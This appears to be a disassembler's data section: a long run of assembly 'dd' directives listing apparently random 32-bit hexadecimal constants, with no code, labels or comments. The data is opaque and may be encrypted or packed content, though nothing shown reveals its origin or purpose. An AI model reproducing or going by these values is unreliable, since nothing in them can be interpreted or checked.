		dd 5E652234h, 0B1F4933h, 0D441B3E3h, 9F079A9Bh,	126B418Bh
		dd 8743AB28h, 8B186893h
		dd 255952F4h, 0A6999D10h, 6A5452F2h, 3D565A22h,	48295DADh
		dd 193B8202h, 87012CFDh, 0F338A65Eh, 8E10E04Eh,	0FDC3DF34h
		dd 8F5BAE80h, 0E143652Eh, 0A0089103h, 61AB5306h, 29AEDDA4h
		dd 65AB4EDBh, 4661647h,	6B78DF6Ah, 73E8EDEDh, 0BD81EB93h
		dd 76389D4h, 303DFBA9h,	0C8B989A7h, 0EEB4684Dh,	0D49B3864h
		dd 0AD604B19h, 8CDCB820h, 879F0351h, 3F7CFD2Fh,	0A5FCD3ECh
		dd 0A79702EFh, 25F6B625h, 8DA32962h, 0ABDE910Ah, 10B764F7h
		dd 0F16AECE6h, 922BF9A5h, 901D8B16h, 72C26BB7h,	4736AE28h
		dd 0C7208FA4h, 7B4574FAh, 9C4C94A3h, 0B038E80Ch, 0AF0F043Eh
		dd 0EDD98BB7h, 1288B54Ah, 407521D3h, 45756ECCh,	0F20213ACh
		dd 0FAB214C4h, 7E19BF84h, 56E68AC0h, 8D2C6F66h,	51509E84h
		dd 3C089243h, 8FC46846h, 0DFDC13E7h, 0AC872FEBh, 9501325Ah
		dd 478D2829h, 0ABAB2D38h, 0E318191Ah, 0AD54C4FDh, 0D9202BCDh
		dd 0BDC65C74h, 16E388DAh, 0C7F0C868h, 11771CECh, 811818DDh
		dd 531E92DFh, 69E3300Dh, 0EFC9C457h, 98DCA0CCh,	0BB7767D0h
		dd 89BB10B9h, 0F68E406h, 9BF1F3F9h, 9ED2128Ch, 0AF5BEC03h
		dd 0BFE7E819h, 0D7723142h, 7D39ED24h, 5BF17545h, 587E9156h
		dd 96D1D6B5h, 5D65B911h, 21CE25C9h, 0D440581Bh,	71E162Ch
		dd 0A6E88113h, 0E582E779h, 7453981Ah, 3B312840h, 6A246E1Ch
		dd 0BD787700h, 0BEE25FA1h, 0A65D6069h, 2379DF6Ch, 88053F9Eh
		dd 0BA0EAF9Ch, 67AFEF2h, 0E96FDBF0h, 0AFE58710h, 0BD678A84h
		dd 0A472B5E2h, 9B361C7Dh, 0B3BEF9E7h, 0C3F7A2DDh, 0B0097CBEh
		dd 864E82E5h, 605F8499h, 8451FEE1h, 0E57C7323h,	1267F879h
		dd 3F708ACCh, 0DD48D419h, 0ABF0343Ah, 0B006C0E6h, 23396478h
		dd 0BCED7B9Fh, 76113DC0h, 0BCCB6A1Eh, 24A3316Dh, 43956DAFh
		dd 0BD05E3BBh, 0B0318667h, 0FCCA182Dh, 96335D2Ah, 0ADC81F2h
		dd 1ABF5FC0h, 87A01653h, 184D1C60h, 0CE4D162h, 702873B4h
		dd 446194ABh, 19DE147Ch, 14EB0439h, 4A9B835Ch, 3A19C4F3h
		dd 130D03B9h, 3E4C8B47h, 2BD68306h, 0B43A6281h,	2B3CB6A3h
		dd 9E9F4F89h, 0E2FF7360h, 0B836638Eh, 2D895DA3h, 0D4C8FD0Ah
		dd 75209E5Dh, 0A8187B6Dh, 0BEF92E0Eh, 8DF30BBCh, 6F6057CFh
		dd 3EAB1C0Dh, 0BCD345Ah, 9220E2BBh, 6672BE15h, 92FD50A0h
		dd 84FA6C84h, 37D64AEDh, 5E08DACAh, 4C8DD076h, 0EE07EC57h
		dd 0B3AB63A2h, 0FEB08904h, 0FB1BBDDDh, 9715AD3Dh, 83219BDh
		dd 993D5354h, 0FBF89C95h, 8D5573AEh, 49B33030h,	8501AD10h
		dd 56E7AFD4h, 7AB7F326h, 2411DEEFh, 61296300h, 81D5D1DBh
		dd 18C8BEF0h, 4977CAA0h, 0B506773Dh, 5C8068E4h,	8E4AEFDFh
		dd 6A808FE3h, 70D43E9Ah, 2E78EC5Ah, 28414556h, 0EA2FC1C3h
		dd 7A775079h, 66277ACFh, 9B95F271h, 0C66BE554h,	0E30F2A77h
		dd 70AB038Bh, 0CB6A4C6Fh, 21EAD678h, 8FAD0073h,	1278D869h
		dd 884BA222h, 10B3AAD8h, 9970FFEBh, 1033927Dh, 0EBC63F36h
		dd 0FA043F26h, 4640916Ah, 6C812CAFh, 87284513h,	0F0649C8Bh
		dd 0B59173E4h, 2482E4B5h, 7A4B229h, 45C3ECABh, 0A8707E35h
		dd 56DCA55Ah, 58F05DBEh, 5777BE8h, 4EE246A9h, 9A725DDFh
		dd 0F1B0DD81h, 0ADB3642Ah, 568B58D2h, 0A6408A34h, 0FDFAFC48h
		dd 0FB7DE021h, 3D6DE55Eh, 1977B84Fh, 40FA82FEh,	0F2F1A85Bh
		dd 0AE37F283h, 0A743A4BBh, 0C77541CAh, 431D370Ah, 19D1EAB8h
		dd 387DB7D2h, 7CB7F106h, 1456C60Bh, 0A73FF378h,	0E4DA9408h
		dd 0AE710A21h, 627491C0h, 39E20CD8h, 0CC29C251h, 0E48EB244h
		dd 0BB1D04D3h, 0E63154FAh, 0AE02582Ah, 0BEE0367Fh, 75ED2488h
		dd 9709C42h, 372E0ADh, 0E825B1EFh, 0B3E87558h, 0D5D6135Bh
		dd 0FFB81CF4h, 11C000DCh, 8DFEAA95h, 5F987539h,	7BB591B6h
		dd 237C73A3h, 58BA29DFh, 0DFCE4CAEh, 14A0CE9Fh,	36F13FFEh
		dd 0E083B703h, 73488B0Fh, 6DFF29C1h, 9BE0FCA2h,	8259F149h
		dd 32284A6Dh, 5BA14D89h, 47BE5576h, 8A4DCCE4h, 425E7427h
		dd 0E1AC02FFh, 74568CFCh, 0A0A8DCD9h, 744ED18Bh, 0DA03D723h
		dd 0C0BE3288h, 81723D21h, 132A0B42h, 0ED589CDAh, 0B8F6BDB0h
		dd 886392D7h, 2A853470h, 0D741B027h, 0D4E53D29h, 1411BE31h
		dd 6FBB01F3h, 0CF49C6C3h, 0BBA1F8C6h, 6DB4E9C3h, 0C0F7EAB0h
		dd 0A9D3A423h, 9116FA4h, 705F5ADh, 0D9BA4974h, 708580CCh
		dd 0FCF37578h, 3F793E1Bh, 9467AF17h, 774C875h, 8D2E5921h
		dd 93B02299h, 9E23BDD2h, 16E268E2h, 935C9FE3h, 7448428Fh
		dd 0FD82DEE0h, 0DDDE19D6h, 0DA8363CEh, 0A2F672F4h, 4684601Fh
		dd 1C2765F9h, 8DF58992h, 0F5030257h, 0D801A8E3h, 0DFCECBF8h
		dd 73E968E1h, 6EE7EFD8h, 9C385A5Ah, 0B446903Dh,	1E299644h
		dd 0A420395Ch, 20CA4534h, 0D794DF57h, 34EA9D5Ch, 0E0FDC7B3h
		dd 63892544h, 0BD98010Eh, 11FCB706h, 1E5A1F71h,	895492C8h
		dd 82B4F243h, 9628AEBBh, 0D47B3C24h, 0A4F626CFh, 20AA21E0h
		dd 0A1047C49h, 51E28F32h, 0C0D87D21h, 0E04A573h, 0F9712491h
		dd 8B3EFEC2h, 0F0130F88h, 99332F71h, 1D034085h,	0BEDEABFh
		dd 0ABDD6B90h, 26E2609Dh, 0A4B9F2D7h, 8A76203Eh, 0DF6BEB0Fh
		dd 7AAE63A8h, 0D676D3BAh, 0CC791B15h, 0F3A1FC68h, 5F6C5518h
		dd 3C4E6860h, 28E70D42h, 196117CAh, 708A11DCh, 3576259Ch
		dd 2F9E8A75h, 0B56CF93Ch, 39185DC7h, 0CC8AA27Fh, 0F7AD3CFFh
		dd 6A0301Fh, 210C6AB0h,	9DC0945Eh, 244D4925h, 0EFE80D15h
		dd 0D5CD9823h, 95017024h, 0F1F7BF69h, 0D3D25BF3h, 0A205AE30h
		dd 3CB51B65h, 8E6FC36Eh, 861CEFB9h, 1CB24E55h, 4B14633Eh
		dd 7B07D412h, 0A6554474h, 7272A32Fh, 4D96B954h,	0A5054686h
		dd 0DD6A048Fh, 0D6012DA7h, 0A1791C9Fh, 0E5A00D60h, 3312405Fh
		dd 393A3DD6h, 0DBF936BEh, 0AEAE6586h, 6054068Dh, 5DCDF91Ah
		dd 9312AB6Dh, 0A3272FAFh, 66CEB435h, 0E7452A05h, 9664F226h
		dd 89034B6Bh, 0DD0B83EFh, 43CB2660h, 0F304CBF1h, 0BD6AC0ADh
		dd 27217175h, 0AACA0335h, 29755C2Ah, 0D4835800h, 5F873735h
		dd 0C9D96439h, 4763807Bh, 23553C1Eh, 713EF49Fh,	6C6D3DDDh
		dd 0FF493A5Eh, 7BF5250h, 0D6CE607Fh, 0A5A68CFFh, 0B2CC2E40h
		dd 821C34A7h, 0B3AB4907h, 578B6E9h, 158B016Ah, 0AD10140Ch
		dd 4280899Ch, 0C951F94Bh, 43B6723Ch, 0E7667AACh, 324BBF8Ch
		dd 0B39908E4h, 7BFEEE78h, 0C360CB5Dh, 2FD275D2h, 35A6EE2Fh
		dd 0C95C9403h, 0BEE267C6h, 216925FCh, 48FBD1B3h, 44237341h
		dd 243EF908h, 0B36197F0h, 0F06DD143h, 3848DB92h, 0F25F95C6h
		dd 570FCE28h, 505FC42Ch, 60F8280Bh, 0D8A9CE02h,	0F57DFEB2h
		dd 564C58A8h, 966AA6DBh, 8B258CBFh, 0E4FC3A30h,	0BE357487h
		dd 0DE7E900Dh, 89979F8Eh, 798703F2h, 7EFB6A8Ch,	467CF793h
		dd 2FE10387h, 0F28E892Eh, 0E05A684Eh, 72A87B36h, 0E75B9E4Fh
		dd 51287BB6h, 65BADF7Bh, 5F3E3A54h, 0F8DDD179h,	13ED9FADh
		dd 6BC192A2h, 8FBA92D7h, 3B951AADh, 2E15B70Bh, 8E8FDB2h
		dd 980087ECh, 0BB5D5705h, 9D2E3826h, 18B0AFC5h,	0BFDA9C03h
		dd 73EAC6Ch, 4AF582FFh,	67659683h, 8DB5A553h, 0AFA6BA00h
		dd 9EF3B786h, 0A8960819h, 0FBA158A6h, 453B9F06h, 2439A7Ah
		dd 0E8DFB93Fh, 0B3BF23CFh, 0C70620C7h, 0D4D8A484h, 0FCD7E154h
		dd 666FC41Bh, 0B2F5B6A3h, 0E21E341Bh, 86F07A49h, 2E461F0Ch
		dd 3FC75059h, 1CF1A7B1h, 0D0A46DA5h, 0F3D4715Dh, 0E4C7F057h
		dd 0AF1D6D1Dh, 0C492F841h
		dd 0AF0D16FFh, 0F8B6853h, 7DE760BAh, 847A57E0h,	0D6C37227h
		dd 3607C3AFh, 910FD451h, 446A4857h, 0C75E89F9h,	0C6E04666h
		dd 123307EFh, 0F0A010B7h, 210ED882h, 4ADA55A2h,	9CC7152Ah
		dd 6360CEB0h, 443697DDh, 360F3266h, 0F0EEA351h,	0ECF4D5E5h
		dd 0C332AEA3h, 39E26A8Eh, 948AFE22h, 0E0C68026h, 16AD6380h
		dd 7782608Bh, 47B1C652h, 4099A258h, 2D9B1DD7h, 6F1C597Ch
		dd 7A42FFB3h, 2010B4FAh, 0F558B466h, 623FD232h,	8B7A0F10h
		dd 0B73D24E7h, 83F0BC76h, 7C1CD9A2h, 3DF24828h,	1EEB4866h
		dd 0DC2841B5h, 1B1EFF80h, 0C8515CF8h, 39D5A8BFh, 70B17017h
		dd 0C9DE737h, 0DDD29221h, 6E310480h, 55382539h,	52109CBCh
		dd 8E0AB753h, 51980898h, 7C1FA1EFh, 0F492E669h,	80546C97h
		dd 0A40325EEh, 0BBC2FCCEh, 26597924h, 1DA0ADE3h, 0CFCAB386h
		dd 0E678370Dh, 5D43CB8Fh, 572E00F1h, 92DACE56h,	6900D794h
		dd 0C16FCAB3h, 0A2C8C047h, 3C78055Dh, 0F509C43Fh, 90439C17h
		dd 3FC128CCh, 0B99CF726h, 8829B0C4h, 44160FA4h,	9B985861h
		dd 545FF888h, 6C6E9B42h, 4393CD3h, 9070CE11h, 5E83CBC7h
		dd 998AF8ABh, 8A503DABh, 1762DF50h, 5C648BB1h, 186C3144h
		dd 0F98586CFh, 602C4593h, 22555EFBh, 0B514C12Eh, 9833A76Ch
		dd 4DD6FF42h, 5B045AFEh, 0C173C218h, 0C9EE7191h, 0D36CE5AEh
		dd 0DDE7E065h, 0B31D0E92h, 0C58079Ah, 0D027DF3Ch, 6FE2EF3Dh
		dd 0CE148654h, 7EB2D07Ah, 7F764B69h, 195D5853h,	990D264Eh
		dd 684D7AAAh, 0B53250E0h, 24A216C7h, 8C6F5517h,	0F403F397h
		dd 2A3D7706h, 0B1014448h, 0D1478C00h, 0CB4A3829h, 0FDAE05F4h
		dd 0B4F8CB56h, 0F5614931h, 0C002DA43h, 21C947ACh, 0DB1C8B23h
		dd 2BD21C1Dh, 0CB67AB99h, 0E6D8501Ch, 45CACEC5h, 0A7ED5D0Dh
		dd 53BE0E32h, 57E999D1h, 2CC4B3B6h, 0CA56B64Ch,	0BF81F589h
		dd 1076EFADh, 0B38D5605h, 3FDC72BCh, 6B6DCBFDh,	49BA1124h
		dd 4AB60C70h, 0E9D47687h, 25D73764h, 0A5F47A62h, 577274B2h
		dd 0ED026ECEh, 0D5BFE15Ch, 0DFBEE5C4h, 3E79A82Bh, 0B9C51A3Bh
		dd 2B059CC4h, 3053CE07h, 45833F87h, 26BD9928h, 0CD075596h
		dd 656E00ACh, 5B1525F2h, 862023AFh, 0E4EEA029h,	0B4DD0E89h
		dd 1E600C45h, 0E9985E4Eh, 79D114A6h, 0D356E64Ch, 0E802D7A3h
		dd 9FBF72F4h, 4D356C4Eh, 0A97F1C74h, 5FA2164Bh,	0DA31EDD0h
		dd 0F51CEC54h, 6582162h, 3C109804h, 3E03EB9Ch, 6D07920Ch
		dd 1BBE650Fh, 0E7EC4553h, 7724AAF2h, 0C577BCD5h, 27305552h
		dd 0C976433Ah, 35274D29h, 6D7D165h, 247BC57Bh, 0C92B5CEBh
		dd 0A2D02C29h, 29D2CF3h, 8C18D309h, 9C9DC2D9h, 272DCD77h
		dd 87ACBD0Bh, 41774370h, 2E049050h, 0EC44E0BDh,	0C7A325CCh
		dd 2DE2C07Ch, 75C9CED6h, 0AA319E26h, 3730B909h,	24AFD8C8h
		dd 571B363h, 89C0D7F9h,	0DCAA9E1h, 0D7BBD786h, 2D9C99Ah
		dd 25A8F918h, 51F2B315h, 4A33EB57h, 0CB2E4E85h,	5686B6FEh
		dd 578AA9B7h, 0C73F9A7h, 10601B0Ah, 5CEADFC5h, 623D800Dh
		dd 0CAAB7853h, 4EB493B1h, 5A643CC5h, 1BF309E1h,	0B156C234h
		dd 54C2E835h, 0F8E7D739h, 353C4C04h, 7971C410h,	0ECA8B57Bh
		dd 0CBA7D562h, 0B5D2FBA8h, 7051E84Ch, 0EE8D8A55h, 59CE3705h
		dd 223E6EE1h, 7C03CA6Eh, 0E1530B43h, 0ECC1878h,	5B6C4EF6h
		dd 637E8CB9h, 476A81A7h, 843B50FBh, 0A7F28B99h,	51CCC7C3h
		dd 3D1D61E4h, 0C9DF70C6h, 0E1EE5597h, 3093A353h, 83329AE2h
		dd 26932B32h, 0F910E2BFh, 95D0D991h, 0B45E22D3h, 0FAC5D1C9h
		dd 0CEE541F3h, 0DB9D601Dh, 0C49484D3h, 0A6D06B7Ch, 89565723h
		dd 0A591B291h, 0DC552492h, 0FFFDF823h, 0F39C9074h, 0AB3BCCF7h
		dd 1D17E012h, 0D68A417h, 2BEF6B18h, 7E2CA3F1h, 0E681BB73h
		dd 1C71A266h, 884A8087h, 84C24148h, 2EC88A39h, 152629AAh
		dd 3E7976D6h, 0C4670B32h, 8ED744CCh, 0D5B8FB51h, 980D5A4Ah
		dd 4A96002Ah, 64B06B8Eh, 0FF0C98DAh, 362576DFh,	0A546DF63h
		dd 0E2BBD3F3h, 0CDA82B3h, 442A8649h, 89C7EDB8h,	155E9D81h
		dd 0A1774BDCh, 0D0DFB005h, 1DB1CCE8h, 0CE195E97h, 6F0C92Bh
		dd 0F81F210Bh, 0E865CB6Fh, 3CE8C31Fh, 3F6790C1h, 0EDCC5233h
		dd 0D404A18Eh, 5159DD8Bh, 14C6D785h, 18CA5863h,	68083DFBh
		dd 6CA10B12h, 2A084E72h, 0E22251DAh, 3174CA17h,	0B017A28Ch
		dd 75999953h, 0A5AAAA95h, 3495DCDh, 0BCD692E8h,	3DA0EFA0h
		dd 76EB44ABh, 447E3F35h, 1E052931h, 3640C741h, 8F61E3C5h
		dd 0A2C148E9h, 398D8B2Ah, 1DC5A494h, 1E416463h,	0EE9878BCh
		dd 0E72B25BDh, 6D4CA605h, 8EC9FEFh, 0CADAC4EFh,	0DB888E0Eh
		dd 4DAEB68Ah, 0C19560A0h, 806789E6h, 1B843A3Ch,	5B5557C4h
		dd 11C73C15h, 0C6660D75h, 466F8140h, 0FA3D9697h, 4E7228BCh
		dd 9DC6FE51h, 0FD5BE350h, 1F98CDEh, 0FC5CB277h,	5AF9D7B4h
		dd 74109B9h, 66E22B3Ch,	9E83B41Ch, 57D53FFh, 0B73FBF0h
		dd 0CEA66A37h, 0EC678AECh, 6B464534h, 0CF265FF3h, 0F0E0161h
		dd 0AB0AF42Eh, 341BEF33h, 0E4020113h, 43B5EDD3h, 938DF382h
		dd 83455422h, 0C533F9E6h, 0DE646898h, 3011CD48h, 981A3AB5h
		dd 9EF210B4h, 0F17D4388h, 1FEA65A0h, 8DBE0E5Fh,	42CD59DAh
		dd 9D36978h, 82AE1514h,	0BD14951Ah, 0E7C8FBA8h,	89ECF0CCh
		dd 4CB25702h, 9966352Fh, 1BD55345h, 3F466200h, 8F0DC9D6h
		dd 3F0DCC30h, 9F0D9D8Eh, 0D63E218Bh, 58599CE6h,	0F6846ED0h
		dd 0B5863F46h, 7FC8387Bh, 0B29E4F7Dh, 95549938h, 0B77D8F60h
		dd 0F4A80FF1h, 0A9009D14h, 0F921F33Ch, 22E68DB4h, 7E64086Eh
		dd 0EDB03240h, 1E28E93Dh, 6AB75EB2h, 0C2DA4FFCh, 0B8AA9EAh
		dd 71DBFF43h, 135735CDh, 8D6A48CAh, 2F6069B3h, 87CEB5CEh
		dd 0AF7BC02Bh, 557472E5h, 54C72F7Ah, 0DB88E489h, 0C66CF4B7h
		dd 4C12EC09h, 0E24B25E7h, 63135C5Fh, 2087B7E7h,	15169E7Eh
		dd 1F802F4h, 0EE2D1B2Fh, 0BD6F51F9h, 27C94105h,	0DC142C64h
		dd 42DA407Eh, 65AE28F2h, 28B302B6h, 229DF264h, 68B96E6Fh
		dd 79357F82h, 3430D1CCh, 3CE0D892h, 2E983966h, 50275A01h
		dd 2763C048h, 0CE75FBB9h, 3C2C355Ah, 0C4449A67h, 7691AF29h
		dd 7E6C810Bh, 3DB6F26Eh, 3B470401h, 681EC230h, 577A9A9h
		dd 0BB17791Ah, 9970EF1Ch, 5EA9D58Ah, 0AE7D9E3Eh, 87561B31h
		dd 0BE08A84Ah, 0D85D7DBh, 77AB6DE5h, 91A770B6h,	14D5BDB9h
		dd 9B98F58Eh, 595CFD6h,	0A4BA9262h, 0B260BD84h,	7AE4A8CEh
		dd 119156C4h, 0EEBA5B59h, 1A96102h, 38F29D84h, 5960B4D0h
		dd 2AAC3828h, 0D36277C2h, 8ADB8EFBh, 302E6CEAh,	67094BB0h
		dd 0BA7860FEh, 5AB4BBCCh, 685B9F13h, 358F2D4Dh,	717016AAh
		dd 865138ADh, 4F5A84D7h, 0CBC6388h, 1262DB91h, 96E18A7Ah
		dd 6DF4AD81h, 3224AF50h, 7A0B9D07h, 5473CC61h, 52CA1903h
		dd 89B31C85h, 5E868B4Eh, 0A72D4298h, 0AC65DB30h, 3F56C064h
		dd 110E3462h, 4CEDF80Ah, 0A39B93B0h, 0ED1F08A1h, 0C61B9EBEh
		dd 0ABB3D617h, 93062C7Ah, 5D0A29A8h, 99341AB2h,	0ABE5DDB2h
		dd 0C53B07B7h, 0E2CE3A92h, 94FCFF88h, 0ADD1BD4Bh, 5D45EEB1h
		dd 5FB4AA8Bh, 6A412D0Fh, 85CB9D0Eh, 0B3DBCB3Fh,	0EA283DA5h
		dd 6C20FB1Ah, 0F0228C7Bh, 9A3D7A41h, 2EB8F74Ch,	9AB27CDAh
		dd 42191A9Ch, 0F4994E03h, 51328E39h, 805AA62Bh,	0CD4F4240h
		dd 4EDABCC6h, 0EC4EE796h, 31AB6086h, 652B9E4Ch,	0F65F17D3h
		dd 0ACC66C30h, 71A64DC6h
		dd 3C908525h, 92C71267h, 42C499E4h, 71C326FEh, 8EF499F9h
		dd 0EC5DAFEEh, 0C7167766h, 0C9D5EFACh, 7BE53246h, 2D2FC1Dh
		dd 63060B40h, 5846A6E4h, 0E1F5D438h, 16B123E6h,	0E316B883h
		dd 460827B0h, 8DB90A52h, 0F1CB23DBh, 92889142h,	530E2081h
		dd 750123EEh, 0A312022Ah, 1EE3255Ch, 482A4E4Ah,	7D5239h
		dd 0BF189FEEh, 2EEE06B6h, 6D350A6Eh, 87256852h,	2DE77437h
		dd 0A7DFDC1Fh, 2A8D2519h, 6A10C8C7h, 6358EB69h,	37C4EC91h
		dd 1C3ED73Eh, 0A38A0BDFh, 44AE840Ah, 37D567EBh,	26575971h
		dd 0D4A60D8Fh, 708A82D0h, 9CF84C03h, 5D7A6C38h,	0D214F0E4h
		dd 4BE8AA69h, 62537253h, 0EB44F7C1h, 0CACA6183h, 82E4757Ch
		dd 0F24C3232h, 5F515D8Dh, 347F3F3Fh, 0AED66697h, 0DFB5730Fh
		dd 5E22DC6Dh, 0A77FA9D4h, 0F2FCD82Bh, 7E00709Fh, 0B2687A13h
		dd 0BAA3AF1Ah, 39EE0638h, 0E9EACFC0h, 0EEB0E6AEh, 0D895DA47h
		dd 0C75C6548h, 742FC923h, 58D7FA86h, 0E9630F92h, 0EB4C7DF9h
		dd 0E662DB2Bh, 974440A9h, 249143D2h, 3F887A0h, 80754473h
		dd 6A593C07h, 37978802h, 63B2059h, 4BA8B8B6h, 578BA259h
		dd 0A9AC3DFFh, 0F0E549Ch, 988E0D35h, 0E9E110F7h, 0B5212E53h
		dd 0E1631A73h, 13308038h, 0BE7DFC3h, 0A442B5E3h, 7FD0B53Ah
		dd 9A323290h, 2C11A15Dh, 0B3F07AE4h, 0D4837BA0h, 0D706B35Ah
		dd 0C6BF4D4Bh, 0B3AA73EDh, 22334C4Ah, 117C173Fh, 0D8E8A4C2h
		dd 6E282EFFh, 2E2490C8h, 3A0EB7CFh, 0AB22BA5h, 0E4B1F6D8h
		dd 0F92060C1h, 41EEDE13h, 1DAE2E38h, 721C8E23h,	1B47FE33h
		dd 0D179FDD5h, 0F96D4B18h, 0F47F04Ch, 0B0F65F80h, 0E136BAD7h
		dd 4EF24AA2h, 1CEA7CFAh, 971BB9B0h, 127A3204h, 52FA6F9Dh
		dd 0C81FA1A6h, 1902013Bh, 0F2AE4ACEh, 6522980Eh, 375A55E7h
		dd 0ADF74E7h, 273115B6h, 652D1609h, 772745F3h, 0E735FC6Ch
		dd 0D8E63EB3h, 85DCD90h, 8AEA8FF1h, 83EE3521h, 89F9C23h
		dd 0B7F1D527h, 83C54B79h, 0B593C094h, 0CA2D4570h, 23892FEBh
		dd 0B926F1E6h, 0CF57C633h, 0E4AA733Eh, 73DB5B8h, 0A1EA358Ah
		dd 0DEB75DB5h, 238A7CE8h, 2992AA4Ah, 0E6F06920h, 0B15E35FEh
		dd 0B6DF8FC4h, 4B40C658h, 52A6218Fh, 0ECD0D7F8h, 0BF1E4F76h
		dd 3EA740DBh, 7509721Ah, 37D43D0Dh, 0EEDDD509h,	715059CCh
		dd 0FCAF3CB8h, 0FDD7F4ECh, 125D461Fh, 0A3E4E9C9h, 0F4B39B85h
		dd 7BE6032Ch, 6EFAAECDh, 563164AAh, 517734C9h, 5066A11Eh
		dd 88ABA2FBh, 7BEA9B43h, 0C6720775h, 4925995Dh,	5D3833D9h
		dd 0E143C877h, 871D399Ah, 4194151Eh, 0E1C02C5Dh, 0A8017332h
		dd 0E8907739h, 52E124B4h, 9FDE1036h, 285F9B0Bh,	7BE53D13h
		dd 3BEF7B2Bh, 0BB5370FAh, 851BBB67h, 1FCEFED3h,	7E4E7280h
		dd 7FB3F327h, 0E3293048h, 0CA4A0872h, 0F08C4A47h, 412FFF5h
		dd 5176473Fh, 553B2BF8h, 0F4EB1E9Dh, 169DE3Eh, 0F3838A7Fh
		dd 0E2A676CCh, 738FBA14h, 8B9251C3h, 268663F5h,	0DC78753h
		dd 6C3F6D89h, 91A7CE4Ah, 0EB14F006h, 7BBE9171h,	92BF98A3h
		dd 38B2F6CEh, 80089DA2h, 31FB505Dh, 17EB713Eh, 0A443DE72h
		dd 49F79FB1h, 4DF54380h, 176DD2A4h, 0F9D644E9h,	0B43A953Ch
		dd 0C4C19EAFh, 1DD8E925h, 0C2386A79h, 42C173A0h, 1EB20C92h
		dd 2DFB8A4Ah, 63EF4517h, 77E0C2C7h, 76E98B1Ch, 67FF4506h
		dd 4CA5F021h, 2C771BB1h, 5F6AFD8Fh, 3C7214Bh, 34FD54Fh
		dd 334F496Ah, 45384B0Ch, 0ECE473F1h, 9EDA4414h,	0B115F48Fh
		dd 75B66C69h, 0D98732C0h, 0CA795A6Bh, 0E6CC6AE8h, 7C5BB31h
		dd 17BF94B1h, 0F142AD0Ah, 207C3ED7h, 2540F27Bh,	75D78FCCh
		dd 0FA8D4A43h, 7BCA2ED9h, 0A1223E48h, 644D8A01h, 77EE956Dh
		dd 9269503Dh, 604DDEFAh, 885D2BC0h, 0A7180838h,	0FEF721B2h
		dd 0FE02BBDEh, 0DFCC76F1h, 2D0F76FAh, 355D3B3Eh, 9889B6h
		dd 65413BA2h, 0B88C5734h, 6E1EEB93h, 51DA3D39h,	62CB8443h
		dd 4578FEAFh, 3C9A26DCh, 3B0B32B8h, 3E6C6FCh, 71086B5Bh
		dd 4CFEAD15h, 0D7B2CDEh, 0AF5D9DA5h, 2CE6C941h,	44EF1753h
		dd 0F1F978FBh, 0DDEA3394h, 261885DAh, 0E096E6Ah, 18B1758Fh
		dd 72ACCB13h, 0BDAB953Eh, 646715E9h, 198BB01h, 9498EFDEh
		dd 0ECFFC69Fh, 0EE60A294h, 8F0FAD16h, 0C0F95BBBh, 504BE217h
		dd 0C237F28Fh, 0D6BD6231h, 0BF14805Fh, 83CDC536h, 0A68D76A3h
		dd 4A72306Bh, 6A65C8Ah,	0D522EE53h, 0BB8F5BE7h,	4B27EF59h
		dd 0E3BC228Eh, 0E311D726h, 9C23A16Ah, 132E2A88h, 0DBE28143h
		dd 0E36D03CFh, 7F0914C2h, 0AF669390h, 7EDD21D8h, 0AE1B0752h
		dd 585B13C9h, 3E30C0BEh, 0BE7D0BDCh, 831BD2F9h,	4CD561C2h
		dd 0CE13185Ah, 44C5437Ah, 294300E6h, 0D2FB2B2Dh, 0B2CC056Bh
		dd 0FAA4AD6Fh, 9BBDE1D1h, 0C531C0D3h, 0A8F47A57h, 598FA6BDh
		dd 24EAA595h, 26BD49A5h, 8B249BB4h, 69EDBB7Ch, 154572FBh
		dd 4BD01BCDh, 837ECD7Ah, 0C692B882h, 0B826532Ah, 0BAD5447Fh
		dd 32A513h, 0AC447805h,	0AB6DA984h, 0A8077B73h,	4DD96CAEh
		dd 17A92F2Bh, 7D7C79ECh, 4349B43Dh, 0AD8D6E11h,	0CF7C64E0h
		dd 33A2F119h, 0C235D9A2h, 0C95C96B5h, 6D98FC2Dh, 983DC30Bh
		dd 2C995B12h, 0D0ED48D9h, 332698B3h, 40596FB5h,	0C140A7BDh
		dd 0B5587234h, 8D1064FBh, 0F35C01A8h, 0CCB4C16Ch, 0D04D7F92h
		dd 0F9D34BCFh, 0D5D49E33h, 0CDE4A5AAh, 7EC45639h, 155C4631h
		dd 0DAF8759h, 770A9656h, 0FAAEB2A8h, 703CC1A3h,	0F3D5899Eh
		dd 0B91EC469h, 0A71EB932h, 89530574h, 3A2C63Dh,	7521814h
		dd 6E348C4Eh, 7B523CCFh, 38BF83C2h, 0C216311Eh,	0F38F79BBh
		dd 0CB582BF5h, 3A9DDCD2h, 37B13DABh, 66CF6DEDh,	4A6C763h
		dd 2B3C6CD4h, 4997EEE1h, 2B6F0DE0h, 70FC7FD5h, 95124B54h
		dd 7A33BBF4h, 0EC27FBD7h, 0FA85A1E1h, 2223D4B8h, 5EF8C807h
		dd 346219C3h, 1553C578h, 0E9628B80h, 97E1E931h,	9F1EB9B9h
		dd 0BA12DDF3h, 0B0554595h, 8AFA49D9h, 269AA42h,	16DA3F23h
		dd 26BB7825h, 49FEF664h, 7D59E5B8h, 1A2A7DA0h, 962804A5h
		dd 0EBBBD64Ch, 49E43600h, 5E72C3C1h, 9FD88D5Eh,	576BE416h
		dd 0A60642D1h, 7F536DDFh, 0D2A50E8h, 7657445Eh,	0ECA890FEh
		dd 0A3715D5Bh, 2179EEBBh, 578DCFB8h, 0E5589013h, 0E2EF5BF9h
		dd 13A8ABEAh, 66FEE0BDh, 4ECA6252h, 590CED38h, 0F462ACC0h
		dd 15220018h, 9D500D8Ch, 0CE380B49h, 0D6A613A8h, 0E6E5F6E2h
		dd 0D58626BCh, 0DB147C33h, 0A941CEE0h, 1DF69CFh, 516A0021h
		dd 9D987EE8h, 0FB62ACF4h, 9BB8253h, 1D295731h, 0A3CD980Eh
		dd 3968086Fh, 34F9AA9Bh, 4D3D54A3h, 318A9CC9h, 0C44C972Bh
		dd 0A3B4FBCh, 8A804C2h,	0E4EE0F63h, 0D26604A1h,	7A8D0711h
		dd 0B062A226h, 39A32852h, 81474D43h, 42456C89h,	0DD81DE39h
		dd 0C960433h, 70856756h, 0FC446C93h, 0CFE69EFFh, 8553B48Bh
		dd 0CB172F5Dh, 0B917D62Ah, 0F33B7FD1h, 3B6801EFh, 574609Dh
		dd 6BDFADF4h, 6823572Ah, 0B86A482h, 0AD63E981h,	2E2ABA2Fh
		dd 9FBD16CFh, 76BC9EF3h, 3615F8DAh, 0A3E4B452h,	54DF5557h
		dd 9E67CCBAh, 25280E46h, 0BF1E4AFCh, 0CE63EF1Fh, 84822A67h
